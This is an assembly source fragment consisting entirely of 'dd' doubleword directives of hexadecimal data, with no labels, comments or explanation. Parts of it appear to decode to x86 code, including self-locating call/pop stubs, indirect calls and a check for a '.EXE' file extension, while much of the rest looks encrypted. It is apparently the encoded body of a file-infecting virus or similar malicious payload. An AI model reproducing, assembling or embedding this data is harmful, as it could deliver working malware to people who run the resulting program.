		dd 83000000h, 0E8289DBDh, 840F0105h, 5ABh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0DBC35747h, 6A50D1B7h
		dd 0C67C7BB9h, 0E8201585h, 66604305h, 0F823DB9h, 198Fh
		dd 13E800h, 23360000h, 0CC3B114Dh, 77146424h, 600F84D8h
		dd 0CC203E5Eh, 68615F9Bh, 0ECA1A607h, 890F5250h, 0Fh, 0AE9h
		dd 0FD693500h, 27B4CE93h, 0F0FB7F9h, 0F525031h,	84h, 0E9310F00h
		dd 0Ch,	0AC79ADACh, 1871456Fh, 5E1FB864h, 585A585Ah, 0EE240481h
		dd 6A00042Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0A751C356h, 2E43063Dh,	0FF7252E9h
		dd 0E80CA9B5h, 19890F05h, 0E9000000h, 14h, 93759CDDh, 0D5E44906h
		dd 0FD25F7E0h, 956C98F7h, 0E81E5BDFh, 7B30858Dh, 8E0F05EBh
		dd 0Ch,	6850Fh,	830F0000h, 0
		dd 89FCD0FFh, 0E8258585h, 0C3816005h, 3CF41F86h, 8F0F53h
		dd 5A000000h, 1585C661h, 5005E820h, 4E8F9h, 0AD560000h
		dd 5760A8ADh, 66525059h, 0F50D6BBh, 61585A31h, 0C890F50h
		dd 0F000000h, 68Eh, 860F00h, 8B000000h,	60042444h, 5E825B7h
		dd 0B0000000h, 0B730F956h, 11E8h, 6B179000h, 239EC6A8h
		dd 456781F5h, 0C496ECB9h, 595ED8D4h, 0E9008B61h, 0Ch, 3D27F86Bh
		dd 531B7186h, 0B6DD39B7h, 4244489h, 820F5250h, 18h, 13E9h
		dd 27256100h, 2EFDB280h, 0EE1A5643h, 0D1EF6128h, 3D139038h
		dd 0B360310Fh, 9D86B9D8h, 5A6108E8h, 890F5858h,	16h, 11E9h
		dd 6D5E0100h, 0B0B6ACAAh, 6DC4F5FCh, 0F229C8A8h, 0B5FF22F4h
		dd 5E80CA9h, 30858DF8h,	0E905EB7Bh, 0Ah, 0A10BF953h, 2B14E851h
		dd 0D0FF6FEEh, 0C58589F5h, 0E905E814h, 0Ch, 0CE67A41Ch
		dd 0E7BA6760h, 821D5FA5h, 3602F568h, 9E960C0h, 0B9000000h
		dd 7D517CEDh, 1E85BB39h, 24048161h, 3059A53Ah, 12E9h, 0DBB90A00h
		dd 0E010CD1h, 392F7F4Ch, 8288F25h, 0FFCC8B7Fh, 0E80CA9B5h
		dd 14E96005h, 9F000000h, 789F6B7Ch, 0C8822839h,	0AB442DA3h
		dd 48DDC30Ch, 6611EE35h, 8D61DE8Bh, 0EB7B3085h,	0B2B66005h
		dd 6AD0FF61h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0F4DC352h, 18Dh, 11E9F900h, 29000000h
		dd 0F0E4EE1Eh, 0D03A5C45h, 0F6F1994Ch, 77CCBC4Ah, 2FC98589h
		dd 10E905E8h, 0C0000000h, 6B6E0D71h, 58164671h,	0AC76E9AAh
		dd 0C6E17062h, 0E8201585h, 0EE95005h, 63000000h, 0A287C417h
		dd 0E44BFF71h, 0D35CECBFh, 4E8B7h, 0DC560000h, 5250979Ch
		dd 5E9h, 40A6C600h, 310F0B90h, 0CE860h,	0DA180000h, 6A72ACA6h
		dd 3AD7E3C3h, 505AFA39h, 5A310F52h, 585A6158h, 13820F50h
		dd 50000000h, 0F616052h, 6E931h, 0E52B0000h, 86E82363h
		dd 448B585Ah, 50600424h, 8D0F52h, 0F000000h, 5AC28B31h
		dd 0E78A6058h, 310F5250h, 6161585Ah, 8A0F008Bh,	22h, 14E860h
		dd 0E45C0000h, 9D29BDBEh, 6BDD0CCDh, 560EAB3Eh,	5A68503Fh
		dd 0F58D467h, 86h, 44896100h, 52500424h, 5E860h, 0A04D0000h
		dd 5FCBBB17h, 870Fh, 0F610000h,	50525031h, 5A310F52h, 0E9310F58h
		dd 0Bh,	2CDC8D5Ch, 0C83AA411h, 5A2B9CCBh, 58585A58h, 168E0Fh
		dd 11E90000h, 64000000h, 8D4F48Ch, 1BC4FB6Bh, 2A9D74A4h
		dd 804652Dh, 2559B5FFh,	8DFC05E8h, 0E838D785h, 7E905h
		dd 0EE0000h, 23F23E20h,	6AD0FFE9h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 30FEC356h
		dd 8977B202h, 0E82E8985h, 0F8F56005h, 1A5E961h,	6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0B90B51C3h, 0C9BF0F60h, 0D3F68166h, 8A0F6164h, 8, 98F08160h
		dd 617FE499h, 0E820F95h, 50000000h, 0F616052h, 8B0F31h
		dd 5A000000h, 810F5058h, 11h, 0B8F0Fh, 6E90000h, 2E000000h
		dd 0D8CA2C5Fh, 8BFC9561h, 10E9ECh, 7AE10000h, 218F94FAh
		dd 1AA2E623h, 4FD5BD12h, 0C4830143h, 0B70F60FCh, 6A6061F6h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0E566C355h, 0DCE635B0h, 0E85Fh, 815A0000h
		dd 0ED652DEAh, 0FC45C705h, 0
		dd 289DBA83h, 0F0105E8h, 9884h,	6A5200h, 92FF0F6Ah, 5E82585h
		dd 3282895Ah, 8D05ED5Fh, 0ED5F369Ah, 3C75205h, 128h, 92FF5053h
		dd 5E814C5h, 9A8D525Ah,	5ED5F36h, 32B2FF53h, 0FF05ED5Fh
		dd 0E82E8992h, 0C00B5A05h, 9A8D5074h, 5ED5F36h,	33247B8Dh
		dd 4F981C9h, 74000001h,	3C8141D4h, 58452E39h, 8DEE7545h
		dd 752B3934h, 25BA8D0Ch, 8B05E817h, 0A4F30C4Dh,	52AAC032h
		dd 8D0875FFh, 0E8172582h, 92FF5005h, 5E82FC9h, 75C00B5Ah
		dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0EFEA2164h, 810F15C0h, 1, 6E960F5h, 0C2000000h
		dd 0E551147Eh, 28B0F21h, 53000000h, 8BFC615Ah, 2E8D8DD2h
		dd 6A05ED67h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0AB5DC357h, 123A3627h,	9BBE6660h
		dd 11E96Eh, 0A4A0000h, 5A78EAA0h, 0FD432BD7h, 0F5A03BF5h
		dd 61BF7080h, 159D8D89h, 0B58905E8h, 5E82CEDh, 70585C7h
		dd 729005E8h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 3404C1C3h, 85C7F41Ah, 5E80A61h
		dd 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 72C35545h
		dd 0BBEB421Ah, 890FEF3Fh, 0Ch, 6800Fh, 9D330000h, 5E830B9h
		dd 2955B589h, 0B5FF05E8h, 5E82849h, 1595FFF9h, 6A05E808h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0ED67C353h, 0AC10346Ah, 840F1DB4h, 0Bh, 58F0Fh
		dd 81660000h, 0F54E29F3h, 95FF006Ah, 5E820F9h, 29EBC08Bh
		dd 6B2147A8h, 0DDB2A0C2h, 758173A1h, 0F2349CE6h, 0AA8CF211h
		dd 0FD2CC835h, 7572F9F8h, 71EB1009h, 9A84C5C6h,	1188453h
		dd 92115062h, 0FE4843E9h, 0BAC44A5h, 1F73B2F1h,	63378B05h
		dd 0B2721C79h, 0F187A5FFh, 8F874982h, 0C4268330h, 0B07A3947h
		dd 0B8A6D23h, 0B3329F20h, 0B2243E3Fh, 3838DD30h, 0B237EE35h
		dd 7F26D68Ah, 0B1AB522Fh, 3951DD30h, 538A6DE7h,	0B2329F38h
		dd 0B2213F3Fh, 7ABDDD30h, 0B2346BD9h, 0BBBF7830h, 0BD37BB30h
		dd 0B237DEB0h, 7A88E130h, 0D54BF2BDh, 0B9DFBEDDh, 637DD30h
		dd 3090CEEFh, 0A452F02Dh, 0BD6711CDh, 0E86E0C8Fh, 0AFF06F56h
		dd 0E067278Ch, 856DB50h, 0D6F06EDFh, 0BD06E151h, 0B2377ABEh
		dd 0B2305330h, 1D33DD30h, 35BB8B15h, 0EA6D298Ah, 3F13BFB9h
		dd 5F5083B5h, 0E2378435h, 0B23774D8h, 716F9B30h, 96735468h
		dd 96736F34h, 0B2376E34h, 7167FB30h, 93A3594Fh,	5AA7CD0Ah
		dd 0B2377724h, 0E1C123E1h, 0CE7B98D0h, 0C534C236h, 0A66E6B1h
		dd 0C83E24F2h, 0F8E5368Eh, 867B464h, 0AD419DDEh, 0B2B8B4A0h
		dd 4D37DD30h, 5A07FFA5h, 3C388235h, 0B237BB34h,	0BFF76456h
		dd 0B25D2EBBh, 0B2349F63h, 0E917BB30h, 0EEBE86F3h, 0F6B6EA14h
		dd 0B22C7314h, 0E174BB30h, 0C175DF3h, 0D5106CF1h, 0FB48BABh
		dd 0B7DFB5B9h, 313EA830h, 5A3C078Dh, 0AB437735h, 72BCE860h
		dd 0B233A788h, 0AFB26730h, 3F329F21h, 589EF5ADh, 0E9E42235h
		dd 5B8A6D68h, 0B2329F3Bh, 0E167AC44h, 0B233A788h, 0AFB26730h
		dd 3F329F21h, 589186ADh, 0E9E42235h, 0E1378468h, 0B23774D8h
		dd 716C9B30h, 966B546Bh, 96736F34h, 0B2376D34h,	7164F830h
		dd 303EAACBh, 0D21B27AFh, 40BC16C9h, 0BCDE7BBBh, 537DD30h
		dd 16C12DFFh, 0E9EF0391h, 2D2B3BC1h, 0D4AA50D3h, 0D8320357h
		dd 0B1DF2730h, 9237BB30h, 3B6F1E68h, 3333CA74h,	0AF335374h
		dd 0F237BB30h, 4201E60h, 6AA24949h, 29FA25A2h, 3FCE3056h
		dd 5F6B22B5h, 0E4378435h, 0B23774D8h, 71699B30h, 9643546Eh
		dd 96736F34h, 0B2376134h, 7161FD30h, 0D4D3D3D9h, 4DE5CF8Eh
		dd 0B9DE8EE0h, 9437BB30h, 42520C22h, 5F8B4FECh,	723C6611h
		dd 0B27F3F3Fh, 3366DD30h, 1D7AABF1h, 2FBA2D20h,	0B7DFF65Ah
		dd 0B237DE88h, 0B2320630h, 83987730h, 744114Ah,	51C8822Eh
		dd 5A61EE5Ah, 0B2377733h, 0ECF4E510h, 0B613A9B9h, 0B613AAB1h
		dd 0B237772Ch, 76F4ED76h, 25208120h, 0B31129C9h, 2FBAA4BBh
		dd 0B7DADC5Eh, 0B2325D3Fh, 0BF8EEE30h, 3F1161AAh, 5F6B44B5h
		dd 0B23E3535h, 4653EE30h, 0B7BB34DCh, 397933D8h, 888E82CBh
		dd 4D760189h, 758617E0h, 0E1564181h, 0B237D3D9h, 1D1EF130h
		dd 0AB2351C0h, 67CAD8CFh, 0ED2CF63Fh, 36382E3Bh, 0B23777F4h
		dd 0D8AA36C8h, 0D832357Dh, 0B1DFBE30h, 92377730h, 3B6F7868h
		dd 3333F974h, 0AF33CA74h, 0F2377730h, 0E28F7860h, 0DF6F42BBh
		dd 239759C4h, 0B229FC3Fh, 5B57BB30h, 0B237DD21h, 10673712h
		dd 0BB246B64h, 0AEF62B66h, 0A08FDC3Eh, 48F06F33h, 0D378CCA5h
		dd 0B23C3B3Fh, 3538DD30h, 0B237EE35h, 0E2E8F656h, 0B2360360h
		dd 0B25DDD30h, 0B2340661h, 0EB177730h, 0FEBEE2F3h, 0F6B6D914h
		dd 0B220EA14h, 0E3767730h, 3FA81DF3h, 0B23A34DDh, 0B4F2EE30h
		dd 0D583F92Bh, 6CEA9AEh, 4D389638h, 0E23784D3h,	0B23774D8h
		dd 716F9B30h, 96735468h, 96736F34h, 0B2376034h,	7167FB30h
		dd 66163BC0h, 3938BC50h, 0B2377730h, 0D3F4306Bh, 0D54440BDh
		dd 37BAEBDDh, 0B7DA2BCFh, 4DC4043Fh, 0FB1764E0h, 723CB984h
		dd 0B207F33Fh, 0B25DBB30h, 0B2343566h, 0EC17EE30h, 0C6BE29F3h
		dd 0F6B6BF14h, 0B22ED914h, 0E471EE30h, 0F27D35F3h, 39D20FE4h
		dd 0D8AA50FFh, 0A32067Dh, 0B2377733h, 5B7458CFh, 0B237DD23h
		dd 0E5EA8ED4h, 7611D7C6h, 29420F54h, 0EB500875h, 5B4DC381h
		dd 0B2377720h, 853DA032h, 0D1E69529h, 4A3CDDFh,	282460F8h
		dd 0D56B06BDh, 3FBAD8DDh, 0B7DA85B7h, 0F96B0A88h, 0CFB288BAh
		dd 9932353Eh, 5E2FBAFFh, 3FB7DADCh, 30B2325Dh, 0AABF8EEEh
		dd 0B53F1161h, 355F6B44h, 30B23E35h, 0F305E983h, 66C08BA4h
		dd 6AD18Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 8B6630C3h, 0FC38BFAh, 83h, 6AC08B00h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 3D88C350h, 0FE9h, 72D1C900h,	15ED889Dh, 535D8705h, 0EB4987B1h
		dd 8347CD80h, 0E80E89BDh, 9750005h, 0BE9BD83h, 740005E8h
		dd 8B535019h, 47AB8C0h,	85890000h, 5E81AF9h, 0A9B59D8Dh
		dd 0D3FF05EAh, 0BD83585Bh, 5E80BE9h, 50177400h,	47AB853h
		dd 85890000h, 5E81AF9h,	0A6569D8Dh, 0D3FF05EAh,	6A585Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 811B3EC3h, 9DE42ECFh, 288C0F70h, 0E8000000h,	0Ch, 334F45B5h
		dd 37861B7Eh, 0BC8AC945h, 11E9h, 9EF7D300h, 822F22A2h
		dd 34AF6D55h, 0C6BBE407h, 8B59B6FFh, 266E9C0h, 66600000h
		dd 0C1F6D98Ch, 35840F04h, 6A000000h, 59B5FF01h,	8D05E825h
		dd 0EB7B3085h, 89D0FF05h, 0E82B3185h, 0C1FE8B05h, 680CEFh
		dd 6A200600h, 57026A00h, 1000D68h, 3195FF00h, 0E905E82Bh
		dd 32h,	201585C6h, 685605E8h, 0A9C530DFh, 0CA9B5FFh, 858D05E8h
		dd 5EB7B30h, 8589D0FFh,	5E81691h, 1281858Dh, 6A5005E8h
		dd 56056A40h, 169195FFh, 0C36105E8h, 3 dup(0)
		dd 60D48B52h, 8908428Bh, 0ED6D2785h, 0C428B05h,	6D1F8589h
		dd 428B05EDh, 23858910h, 8D05ED6Dh, 0ED6D5DB5h,	35858D05h
		dd 0FF005B7Eh, 0C25A61D0h, 0B58B000Ch, 5ED6D27h, 6D1F858Bh
		dd 0BD8305EDh, 5ED6D23h, 7840F00h, 89000000h, 2E906h, 6880000h
		dd 0CFh, 0
		dd 0D48B5200h, 8428B60h, 6D278589h, 0B58D05EDh,	5ED6DAEh
		dd 7E35858Dh, 0D0FF005Bh, 858B5A61h, 5ED6D27h, 8B0004C2h
		dd 0ED6D2785h, 89008B05h, 0ED6D2785h, 0CF05h, 89600000h
		dd 0ED6D84B5h, 80858905h, 8D05ED6Dh, 0E8233985h, 44408B05h
		dd 6DBD8589h, 0B58D05EDh, 5ED6DF3h, 7E35858Dh, 0D0FF005Bh
		dd 84858B61h, 0C305ED6Dh, 6D809D8Bh, 0B70F05EDh, 0D8033C43h
		dd 3785B8Bh, 0ED6D809Dh, 24738B05h, 6D80B503h, 8B5605EDh
		dd 738B207Bh, 80BD031Ch, 305ED6Dh, 0ED6D80B5h, 0C983FC05h
		dd 9D8B41FFh, 5ED6D84h,	9503178Bh, 5ED6D80h, 8A04C783h
		dd 0FC08402h, 0F84h, 0F033A00h,	0FFFFDC85h, 0E94243FFh
		dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h
		dd 85038604h, 5ED6D80h,	6D848589h, 0F08B05EDh, 0C18BCE8Bh
		dd 6DBDBD81h, 5EDh, 850FC030h, 0Dh, 2514E8C1h, 0FFCh, 8E9h
		dd 12E8C100h, 3FF825h, 0BDBD8B00h, 8305ED6Dh, 8B06070Ch
		dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 6DBDBD81h, 5EDh
		dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h
		dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h
		dd 0BDBD8100h, 5ED6Dh, 0FC03000h, 0E84h, 3FF82500h, 808B0000h
		dd 0C0600000h, 0CF060883h, 6D2B858Dh, 858905EDh, 5E825F1h
		dd 6DC1858Dh, 858905EDh, 5E81579h, 6D88858Dh, 858905EDh
		dd 5E80FFDh, 0CE8h, 0D9BA9900h,	0CEE215F8h, 0BBF57D75h
		dd 5E960D1h, 13000000h,	1A1A5A3Dh, 0BB665961h, 0C18150F8h
		dd 6C48h, 0BFFCh, 8B660000h, 0F34FFF7h,	0EE8h, 0FCEF9600h
		dd 79FA118Ah, 0C38D6D53h, 0B33EF9ACh, 0F585E01h, 0E80h
		dd 7E95100h, 74000000h,	0AC6505C3h, 815B4EBBh, 0FD2D37F0h
		dd 0E2816618h, 0F0815961h, 3D396E10h, 0C9C081F8h, 665D1EA0h
		dd 890FF1BBh, 0FC8A3904h, 8E8h,	65752600h, 0FC53321Ch
		dd 0CB4BBA0Eh, 835A13D3h, 816601EFh, 4FAF77F3h,	0FF814F4Fh
		dd 0FFFF9490h, 0E850Fh,	0D78A0000h, 30E9h, 85422400h, 0D8033FFFh
		dd 10E8h, 448AE100h, 4DDE831Eh,	38202A1Eh, 4EF10179h, 3053BE5Bh
		dd 0E95E1F70h, 0FFFFFF59h, 62FD1E16h, 8A5C7557h, 10E871h
		dd 0B6710000h, 0D442CD23h, 0D37AC04Eh, 554949B5h, 0CB808EE2h
		dd 0C7815FF5h, 5EECh, 0BAF18B66h, 178Dh, 8BC38B66h, 0F7BF0F0Fh
		dd 0BBAFE981h, 81F52328h, 4A16F0C1h, 0F181FC1Ah, 6B442F26h
		dd 6AB96660h, 0E95161ABh, 0Eh, 83FA23D5h, 480491Ah, 40243845h
		dd 78F682Eh, 96FEF81h, 0B70F439Eh, 6BC781C0h, 81439E09h
		dd 1EAh, 29850F00h, 0F000000h, 0F81h, 0AE900h, 0F66B0000h
		dd 0C4AA351Ch, 68C811E8h, 2DE9h, 0B3678F00h, 0A4B4B564h
		dd 2375ACBFh, 5E42BFDAh, 58F08166h, 0FF7DE969h,	0ACB3FFFFh
		dd 0E86F3909h, 3ADC5312h, 215D1D50h, 6503D21h, 8EB21B8h
		dd 74617753h, 77E7339Ch, 0C88E9h, 724A6800h, 0B3E905EDh
		dd 68FFFB0Dh, 5ED7343h,	0FB0DA9E9h, 749B68FFh, 9FE905EDh
		dd 68FFFB0Dh, 5ED75BCh,	0FB0D95E9h, 774E68FFh, 8BE905EDh
		dd 68FFFB0Dh, 5ED7977h,	0FB0D81E9h, 7B0D68FFh, 77E905EDh
		dd 68FFFB0Dh, 5ED7BFDh,	0FB0D6DE9h, 930900FFh, 178580F2h
		dd 9C000476h, 238F89FBh, 0A4181082h, 0D3984403h, 54C6675Fh
		dd 0D648E9DFh, 5CCE6F5Dh, 0ED51F2D6h, 0A8B064FFh, 0D698A2B5h
		dd 0AF276E8h, 46CCC1ACh, 13198B62h, 0EF2E0EAFh,	103FDAC8h
		dd 0D896E009h, 459B4FEAh, 7500A2B0h, 0C0209B2Eh, 0D12F955Dh
		dd 0DECCA309h, 7FF4E46Ch, 0E64C2389h, 0B435ED88h, 0F57BA2B0h
		dd 4CC83A11h, 7FD78960h, 176F2002h, 6EF2406Ah, 20B60F6Ah
		dd 0CB000000h, 0AF81F5Eh, 0E00C206Fh, 11E84E96h, 0B042BE76h
		dd 146DC5A2h, 6A024896h, 0C70C0Fh, 0CC210000h, 0EEDE5646h
		dd 744BB117h, 0BF960E02h, 0CE3C74Dh, 8F30949Ah,	6418B3A1h
		dd 549CC838h, 0A47B61E2h, 0DF7AD83Eh, 9CC83398h, 41C6363Ch
		dd 0E254F55Bh, 0B3A1786Ch, 1D8C441h, 1E5D3D9Bh,	0D36E09F7h
		dd 0A396E00Ah, 7DBC9C3Dh, 0FFCD6856h, 379CC583h, 0F971E3D1h
		dd 0CD4F8718h, 0FC62EC25h, 7BFB6D5Bh, 0F856BC93h, 0D01A8286h
		dd 0F1D26CE4h, 7C6519F0h, 1600000Ah, 9608A913h,	1A8C2D9Fh
		dd 9F11B21Ah, 269839A5h, 5A19BA22h, 7D61E982h, 0FFE56ADCh
		dd 856BEC5Eh, 8FC72E4h,	7A150367h, 0A2B5A9C6h, 5001ECAEh
		dd 4C9DBCFDh, 0C15C83A9h, 9CC8710Dh, 0D33197FDh, 54F5E961h
		dd 55F06CE2h, 9CC870A1h, 1CBD2389h, 67DE5031h, 0F8371775h
		dd 0F948E3D1h, 5996E00Bh, 0C9811CF3h, 0D0A2B042h, 8D82F4E2h
		dd 42C87C17h, 1B25A2B0h, 82827BFEh, 6FCD33FBh, 0F2406A17h
		dd 510F6A74h, 1A7864DFh, 0B991h, 46CCA600h, 11198B62h
		dd 0F43BD6ADh, 0F89CC833h, 7BED8E72h, 8D0D05F5h, 0E84E2589h
		dd 0D345AB82h, 2E056B53h, 0FAE80F4Eh, 0E00AC45Fh, 181A8C96h
		dd 8977DDB4h, 0B04D3AEEh, 66C42AA2h, 0D84A389Eh, 349A715Fh
		dd 165535D6h, 6B6601EFh, 8B9CCAA6h, 40C53725h, 0C11F855Ch
		dd 0F5E961D3h, 766EE254h, 0D2C8362Ch, 0CB7F56F1h, 983h
		dd 1A21A0Fh, 8526968Fh,	0AAB1313h, 91329E98h, 12B32B1Fh
		dd 6EE28B53h, 0EC63D576h, 62E557F8h, 0E56BDD7Eh, 0EFC6001h
		dd 0B5AABF73h, 0FAE5A7A2h, 726044CCh, 36940800h, 312D2395h
		dd 0C837E296h, 5D11AC9Ch, 4D9CC838h, 53B91FE7h,	46CCC7B2h
		dd 29D06975h, 3698C14h,	44B4BA2Ch, 9F05DCC0h, 79B89839h
		dd 6AC96452h, 0A896E04Fh, 69CF3D36h, 1751A492h,	74B49F5Ah
		dd 8C40DBC9h, 7CA2B11Eh, 661DB816h, 6BA2B11Fh, 0A20A0B7Dh
		dd 1595EC44h, 0F6ADAC7h, 6088Bh, 1F5EA000h, 0E06F0AF8h
		dd 8E96E01Eh, 0FEB65128h, 5A2B050h, 88D6D4ADh, 0E70F6A0Ch
		dd 200EF275h, 0B048D185h, 0F553B9A2h, 5DC6Ch, 0F5907E00h
		dd 0A2B04941h, 4EBEB729h, 10FC76E8h, 1F5EC7B2h,	446F0AF8h
		dd 0D296E030h, 90F6EA60h, 3F661EB9h, 156DA2B0h,	0F9F03E6Ch
		dd 0AAB40F69h, 0C9000005h, 86C538EEh, 5FF715Fh,	5C10AB99h
		dd 4C9CC838h, 0FF9A88E6h, 96E0187Ch, 0CF6AE44Ah, 0E200E80h
		dd 827097D6h, 0DD1C28E7h, 29006620h, 0F5E30A49h, 0F62B155Ah
		dd 0EDDB4122h, 0B311F57Bh, 0E9DD53C5h, 0FD075A48h, 4112522h
		dd 213BF181h, 5EC497BFh, 24988E00h, 0CD5BD2DAh,	83370E7Bh
		dd 82Bh, 59FAE267h, 0DD7E6EE7h,	6203EB6Bh, 0E98A76F0h
		dd 6A0BF377h, 363AF3ABh, 0B4BB2DCEh, 3A3DAF50h,	4DC335D6h
		dd 6654B859h, 0B5AC17CBh, 523DFFA2h, 657546CCh,	0E49D3578h
		dd 9933E782h, 0BD239CC8h, 3A1AF157h, 4BE6D4FBh,	96E0080Ah
		dd 0F985F94Ch, 585A3B0Dh, 0CEB651F2h, 20A2B55Dh, 0B92D2395h
		dd 0D6F53818h, 8088FAE8h, 0B8F2451Ch, 0D50EF844h, 24BF1D83h
		dd 0A2B56198h, 9A0CFA60h, 0FCD3319Bh, 7F20848Ah, 86653E91h
		dd 3D3EC02Bh, 0E2BC44DFh, 61E2A2B5h, 2E05F96Fh,	4FC162C8h
		dd 730EE5D9h, 0A2B5D2BBh, 0FE1869C1h, 94808808h, 0DA9345F9h
		dd 69CF3596h, 25C62C92h, 7249BDB3h, 0A9131284h,	62F8B04Bh
		dd 8CE496DAh, 3D33A5F5h, 73F96BC9h, 8E00EE8Fh, 14C82696h
		dd 102h, 6246CC29h, 2A4A9D8Bh, 92DC76D0h, 5408A391h
		dd 449CC8A1h, 150E80DEh, 44329A9Bh, 0C8A0F5A9h,	197FE59Ch
		dd 0A0F3A742h, 33399CC8h, 0D918F8CFh, 0E829C4B2h, 0A696E010h
		dd 2D24F640h, 5D34F7BDh, 70AA9h, 1B818800h, 9F0D087Ah
		dd 24888CFEh, 0AB171183h, 2C90980Ah, 5B10CC8Bh,	0DC4EEFD7h
		dd 5ED07157h, 0E456F7E5h, 75D97A6Eh, 0AD38EC87h, 5E20A2B5h
		dd 6246CC73h, 99030274h, 6AEA5CC2h, 0DB4D2482h,	0AFCA8257h
		dd 0B2D09B06h, 3E39AB4Ch, 49BF31D2h, 7DE3CF49h,	0FEE66ADCh
		dd 49BDB527h, 950B0072h, 0D5C74CBEh, 31976E52h,	0EA42F4CBh
		dd 17877F97h, 0F78AE2B1h, 12B32B1Fh, 8263E634h,	11AA09h
		dd 4ABC0000h, 9681DFC5h, 7567DE50h, 756317h, 0CC780000h
		dd 0F08B6246h, 9CC80838h, 61B5CC24h, 9709F7EBh,	0B72F239Fh
		dd 0B6147AE0h, 3CA0A315h, 4813CA65h, 0A0F89CC8h, 0CE3235E1h
		dd 4BCC422Dh, 2EA08E65h, 9BEEC537h, 0FA66491Ah,	0CF2D933Eh
		dd 1FF6DA5Dh, 8D89F850h, 0EA85268Ah, 9CC8B138h,	9C53A07Eh
		dd 0D2150982h, 27FFFFFEh, 2CC7B3B5h, 9CC8D978h,	0A694FA60h
		dd 0C8D9570Bh, 7BD93F9Ch, 3238A90h, 0CC9F0000h,	2746246h
		dd 6DC0970Dh, 1DA30DF3h, 0A6046A46h, 3AAC34CFh,	0D6C49CC8h
		dd 39994DE8h, 1B819CC8h, 683FA3A9h, 354CA402h, 0E46B6BE1h
		dd 0C3771200h, 0B39CC839h, 0BF9E74Dh, 5B329E99h, 39A65AF5h
		dd 288E9CC8h, 0B1B729CAh, 3A762AC5h, 0F85E9CC8h, 9820BB92h
		dd 429CC83Ah, 0B6957D0h, 4B429399h, 57670533h, 4727FE64h
		dd 58F3E108h, 96E05617h, 5E42C537h, 4AFE9987h, 3AA2B617h
		dd 0BE086ED4h, 0F7BDF2EAh, 787B2F06h, 1A000005h, 9A0CAD17h
		dd 1E90319Bh, 0A315B626h, 2A9C3DA1h, 5E1DBE26h,	8165EDBEh
		dd 3F96EE0h, 8977F062h,	0CF076E8h, 7E19076Bh, 0A2B5AECAh
		dd 0CC0DF8BAh, 198B6246h, 9A0CAD11h, 1D8F3094h,	68DAB115h
		dd 5625FCE0h, 0AE3A1568h, 1B7E627Ah, 0FA1C65BDh, 4DA08E76h
		dd 0B4022152h, 0D273D14Fh, 8FC72E4h, 0B67ECCAAh, 2A420982h
		dd 57000002h, 0EFC1B5Eh, 9F8ACD20h, 71B034DAh, 0C86422D6h
		dd 4EAC129Ch, 652EDC77h, 0A5FD9FD9h, 0C580CEDCh, 2440870h
		dd 59000002h, 0EFC1B5Eh, 0C837BF73h, 6A41A79Ch,	0D93921CFh
		dd 0F6CB4B9Fh, 0E29CD714h, 0E2B91F84h, 2D04F870h, 7C53BBBBh
		dd 235EB616h, 8BF64EFFh, 70EBD11Fh, 1CB9508h, 50AA0000h
		dd 187666DEh, 0B34EF538h, 9CC837FFh, 2D1B81E7h,	111B7DAh
		dd 6FCDCEB0h, 0BE36E681h, 0B0169CC8h, 0BE903ED9h, 0B5BA9FD9h
		dd 206784Fh, 0B63C39Ah,	0A3FBAC76h, 6B7ECCDEh, 8A420870h
		dd 57000001h, 0EFC1B5Eh, 0D533999Ch, 37C04CE7h,	12789CC8h
		dd 38F2A03Bh, 0C1199FD9h, 0F19CEAC0h, 66600870h, 75000001h
		dd 746246CCh, 0B4245C21h, 140EEAEFh, 56BD1A8h, 0E85ED0A7h
		dd 9A1DD16Ch, 0A70D9CC8h, 81C0A041h, 0A2D16C5Ah, 9096E06Bh
		dd 0A45307A2h, 9C99A2B0h, 2BF35930h, 0ED885FC5h, 0A2B0A435h
		dd 0D9DE43Ch, 0F6A5FBFh, 3D83h,	23239500h, 0C7EE4BBh, 66CCA309h
		dd 1F5E1D08h, 206F0AF8h, 4E96E00Ch, 9BAC0FFBh, 0E44A1A0Dh
		dd 0D9BA720Dh, 69C1A2B0h, 0F9948218h, 0A2B0DA45h, 9371CF35h
		dd 0F6A9945h, 0BC09h, 46CC1E00h, 0AF9D8B62h, 0C8386014h
		dd 84E2489Ch, 0AC1E1E12h, 56B42A6h, 0C837B66Ah,	0E5389E9Ch
		dd 0D59570C5h, 15EC52E2h, 4EB2B527h, 14887EF0h,	0D945CB3Dh
		dd 0C8918A3Eh, 0AE147A9Ch, 8D2B720Dh, 0BBB19CC8h, 28E8985Ah
		dd 76D8910h, 3FAFA719h,	36145CDh, 1C438262h, 4432932Eh
		dd 0FE6496E3h, 32AA9E10h, 0B32B1F91h, 0BA288B69h, 30E4BBF7h
		dd 34Fh, 35D6CE43h, 0B95A42C3h,	3EDFCF47h, 0C5664ACCh
		dd 46E7DF53h, 1216D787h, 909709AAh, 1E198B2Ch, 0A99F11B2h
		dd 42309435h, 0B5B0F3A7h, 3621E3A2h, 0BF6044CCh, 0D7717ED1h
